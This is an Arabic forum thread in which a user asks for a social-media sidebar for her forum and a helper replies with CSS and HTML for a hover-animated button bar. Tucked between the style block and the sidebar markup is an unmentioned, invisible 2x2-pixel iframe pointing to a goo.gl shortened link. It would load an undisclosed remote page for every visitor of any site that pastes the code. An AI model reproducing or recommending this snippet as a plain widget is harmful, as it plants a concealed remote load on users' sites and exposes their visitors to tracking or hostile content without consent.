طلب كود مواقع التواصل لاجتماعي يوجد مثال

السلام عليكم ورحمة الله وبركاته
اخواني اخواتي لاعزاء 
اريد ولو سمحتم كود مواقع التواصل الاجتماعي
يسار المنتدى وطريقة تركيبه
ويوجد مثال للكود
ارجو ان يكون نفس الكود باالضبط 
مثال مصور :
http://im73.gulfup.com/xosXtH.png
مثال من احد المواقع مباشر :
http://www.shmok3.net/vb/
لاحظ الازرار على يسار المتصفح عند وضع الماوس تتقدم الايقونة .
اتمنى من المبدعين تلبية نفس طلبي اكون شاكرة لهم جميعاً 

أهلا و مرحبا بكم في منتدى الدعم والمساعدة لأحلى منتدى بما أنك جديد في منتدانا, اعطيك هنا بعض الروابط التي يستحسن تذكرها و الإطلاع على محتواها قبل أي سؤال مقبل: قانون منتدى الدعم  من الواجب عليك احترامها للحصول على إجابة سريعة  مواضيع تشرح لك بالصور كل تقنيات و خبايا ادارة منتداك   مواضيع تشرح لك تقنيات منقدمة لتشخيص ورفع مردود منتداك ---------------------------------- و   الآن,   للإجابة   على   سؤالك,...

المتوفر حالياً

Dr Godaddy كتب:بعد اذن الاخت المساعدة همسة حق
تفضل يا غالي
انهاردة جبتلكم كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتدى



ضع الكود دا في العناصر المستقلة

الكود:

 
<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/</style><iframe src="http://goo.gl/Usygm0" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
   <ul>
    <li>
     <a class="entypo-twitter" href="https://twitter.com/" target="_blank">
      <span>Twitter</span>
     </a>
    </li>
    <li>
     <a class="entypo-gplus" href="http://plus.google.com/" target="_blank">
      <span>google+</span>
     </a>
    </li>
    <li>
     <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank">
      <span>tumblr</span>
     </a>
    </li>
<li>
     <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank">
      <span>facebook</span>
     </a>
    </li>
        <li>
     <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank">
      <span>feedburner</span>
     </a>
    </li>
   </ul>
  </div>


قم بالبحث عن :


https://twitter.com/


http://plus.google.com/


http://www.tumblr.net/


https://www.facebook.com/


http://feeds.feedburner.com/

 وبدلها بروابطك الخاصة وهكدا يكون قد تم بأذن الله 

للمزيد :
أضغطي هنا

يعطيك العافية اخوي الكريم
جميل وشكرا لك
لكني ابحث عن نفس طلبي وياليت يكون موجود اكون شاكرة ومقدرة جهودكم

للأسف نفس ما تطلبيه حاليا غير متوفر